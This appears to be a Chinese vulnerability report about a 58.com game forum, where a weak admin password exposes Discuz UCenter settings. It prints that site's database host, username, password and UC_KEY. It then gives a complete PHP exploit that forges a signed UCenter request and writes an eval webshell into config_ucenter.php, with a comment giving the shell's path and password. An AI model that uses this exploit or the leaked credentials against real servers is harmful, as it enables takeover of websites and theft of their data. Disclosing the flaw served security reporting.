58 游戏论坛后台弱口令可导致getshell

配置信息
 define('UC_CONNECT', 'mysql');
 
 define('UC_DBHOST', '192.168.17.101');
 
 define('UC_DBUSER', '58_bbs');
 
 define('UC_DBPW', 'youxi$217*ceshi&');
 
 define('UC_DBNAME', 'bbs');
 
 define('UC_DBCHARSET', 'utf8');
 
 define('UC_DBTABLEPRE', '`bbs`.prh_ucenter_');
 
 define('UC_DBCONNECT', '0');
 
 define('UC_KEY', 'Uet5r701maVbU04eIb49t2f2y021T2c2K3q9Tdi5Q16f35M3w1XeC7Z9n6X353A8');
 
 define('UC_API', 'http://bbs.wan.58.com/uc_server');
 
 define('UC_CHARSET', 'utf-8');
 
 define('UC_IP', '');
 
 define('UC_APPID', '1');
 
 define('UC_PPP', '20');

Discuz的利用UC_KEY进行getshell
 <?php
 
 
 
 
 
 $key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#少年 uc_key 写在这里
 
 $url = 'http://localhost/api/uc.php';
 
 $arg = 'action=updateapps&time='.time();#拿webshell：http://localhost/config/config_ucenter.php 密码：c
 
 echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb/');eval(/$_REQUEST[c]);#</item></root>').'"';
 
 #curl或者用其他工具post提交
 
 
 
 function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
 
  $ckey_length = 4;
 
  $key = md5($key);
 
  $keya = md5(substr($key, 0, 16));
 
  $keyb = md5(substr($key, 16, 16));
 
  $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
 
 
 
  $cryptkey = $keya.md5($keya.$keyc);
 
  $key_length = strlen($cryptkey);
 
 
 
  $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
 
  $string_length = strlen($string);
 
 
 
  $result = '';
 
  $box = range(0, 255);
 
 
 
  $rndkey = array();
 
  for($i = 0; $i <= 255; $i++) {
 
   $rndkey[$i] = ord($cryptkey[$i % $key_length]);
 
  }
 
 
 
  for($j = $i = 0; $i < 256; $i++) {
 
   $j = ($j + $box[$i] + $rndkey[$i]) % 256;
 
   $tmp = $box[$i];
 
   $box[$i] = $box[$j];
 
   $box[$j] = $tmp;
 
  }
 
 
 
  for($a = $j = $i = 0; $i < $string_length; $i++) {
 
   $a = ($a + 1) % 256;
 
   $j = ($j + $box[$a]) % 256;
 
   $tmp = $box[$a];
 
   $box[$a] = $box[$j];
 
   $box[$j] = $tmp;
 
   $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
 
  }
 
 
 
  if($operation == 'DECODE') {
 
   if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
 
    return substr($result, 26);
 
   } else {
 
    return '';
 
   }
 
  } else {
 
   return $keyc.str_replace('=', '', base64_encode($result));
 
  }
 
 
 
 }
 
 
 
 ?>